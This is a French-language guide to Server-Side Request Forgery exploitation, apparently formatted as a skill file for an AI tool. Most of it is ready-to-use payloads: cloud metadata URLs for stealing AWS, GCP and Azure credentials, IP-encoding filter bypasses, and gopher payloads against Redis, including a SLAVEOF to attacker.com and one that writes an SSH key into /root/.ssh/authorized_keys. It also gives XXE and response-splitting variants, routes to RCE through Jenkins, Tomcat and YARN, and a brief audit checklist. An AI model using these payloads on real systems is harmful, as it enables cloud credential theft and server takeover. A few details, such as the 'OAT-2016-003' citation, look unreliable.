| name | ssrf-exploitation-avancee |
| description | Guide complet d'exploitation SSRF (Server-Side Request Forgery) — blind SSRF, cloud metadata, bypass, outils et payloads |
| category | cybersecurite |
SSRF — Exploitation Avancée
Qu'est-ce que le SSRF ?
Le Server-Side Request Forgery (SSRF) force le serveur à effectuer des requêtes HTTP vers des destinations choisies par l'attaquant. C'est l'une des vulnérabilités web les plus critiques (OAT-2016-003, OWASP Top 10).
Types de SSRF
SSRF Basique (Résultat Visible)
Le serveur renvoie directement la réponse de la requête forgée dans la réponse HTTP.
Blind SSRF (Résultat Invisible)
Le serveur effectue la requête mais ne renvoie pas la réponse. Détection via callback (interaction externe) ou time-based.
Semi-Blind SSRF
Le contenu n'est pas renvoyé, mais on observe des changements d'état secondaires (logs, erreurs, time).
Vecteurs d'Attaque
1. Cloud Metadata Endpoints
AWS (IMDSv1):
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
AWS (IMDSv2 — nécessite PUT token):
TOKEN=$(curl -X PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/ -H "X-aws-ec2-metadata-token: $TOKEN"
GCP:
curl http://metadata.google.internal/computeMetadata/v1/
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Azure:
curl http://169.254.169.254/metadata/instance?api-version=2021-02-01 -H "Metadata: true"
curl http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ -H "Metadata: true"
DigitalOcean:
curl http://169.254.169.254/metadata/v1.json
Alibaba:
curl http://100.100.100.200/latest/meta-data/
2. Bypass de Filtres
Bypass IP/Whitelist:
http://evil.com -> 301 -> http://169.254.169.254
http://shorturl.at/ -> 169.254.169.254
http://2852039166/
http://0xA9FEA9FE/
http://0251.0376.0251.0376/
http://[::ffff:169.254.169.254]/
http://169.254.169.254.nip.io/
http://①②⑨.②⑤④.①⑥⑨.②⑤④/
Bypass par encodage d'URL:
%2561 -> %61 -> a
http://victim.com/%EF%BC%AF%E2%88%95%E2%88%95 (// bypass)
Bypass par protocole alternatif:
file:///etc/passwd
dict://localhost:6379/info
gopher://localhost:6379/_*1%0d%0a$4%0d%0aPING
ftp://attacker.com/
ldap://localhost:389/
smtp://localhost:25/
3. Attaques Internes
Service Discovery (Port Scanning via SSRF):
Protocoles Internes Ciblés:
- Redis (6379): gopher:// → injection de commandes
- Memcached (11211): gopher:// → injection
- Elasticsearch (9200): HTTP direct
- Consul (8500): modification config
- Docker Socket (2375): contrôle du daemon
- Kubernetes API (443/6443): exploitation etcd
- SMTP (25): email spoofing
- FastCGI (9000): RCE
- Jenkins (8080): jobs / scripts
- MongoDB (27017): requêtes sans auth
Attaque via Gopher:
gopher://redis:6379/_*1%0d%0a$4%0d%0aSLAVEOF%0d%0a$15%0d%0aattacker.com%0d%0a$4%0d%0a6379%0d%0a
4. Blind SSRF — Détection
Collaborator / Callback Services:
https://oastify.com/
https://webhook.site/
http://dnslog.cn
Techniques OOB (Out-of-Band):
- OOB via DNS: faire résoudre un nom DNS contrôlé
- OOB via HTTP: webhook ou serveur HTTP
- OOB via ICMP: ping vers votre IP (rare)
Outils
| Outil | Description |
|---|
| BurpSuite Collaborator | Détection blind SSRF via DNS/HTTP |
| SSRFMap | Automatisation test SSRF |
| Gopherus | Génération payloads gopher |
| HTTPLoot | Capture de requêtes for review |
| Interactsh | plateforme OOB collaborative |
| Nuclei (ssrf templates) | templates automatisés |
| Autorize (Burp) | SSRF via ACL bypass |
Escalade — De SSRF à RCE
1. RCE via services internes
Jenkins Script Console:
http://jenkins:8080/script -> POST avec payload Groovy
Tomcat Manager:
http://tomcat:8080/manager/html -> déploiement WAR
Hadoop YARN ResourceManager:
http://yarn:8088/ws/v1/cluster/apps -> soumission application malveillante
2. RCE via Cloud Metadata
AWS Userdata:
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/instance-id
Modification CloudFormation (AWS SSRF + Privesc):
{
"Parameters": {
"LambdaFunctionArn": "arn:aws:lambda:us-east-1:...:function:malicious"
}
}
3. RCE via Redis + Gopher
gopher://redis:6379/_*3%0d%0a$3%0d%0aset%0d%0a$4%0d%0asshh%0d%0a$7%0d%0aSSH_KEY%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adir%0d%0a$18%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
Techniques Avancées
SSRF via Open Redirect
http://victim.com/redirect?url=http://169.254.169.254
SSRF via DNS Rebinding
SSRF via Response Splitting
GET /ssrf?url=http://evil.com/redirect%0d%0aLocation:%20http://169.254.169.254
SSRF via Chunked Encoding Smuggling
Transfer-Encoding: chunked
...
SSRF via XXE + SSRF combo
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
Checklist d'Audit SSRF
- Tous les endpoints acceptant des URL
- Tous les parsers XML/DOCX/PDF
- Tous les endpoints d'import/export
- Tous les webhooks
- Toutes les redirections
- Tous les téléchargements d'images via URL
- Tous les parsers de métadonnées
- Toutes les fonctions ping/traceroute
- Tous les validateurs de documents/CV
- Toutes les fonctions de proxy
Ressources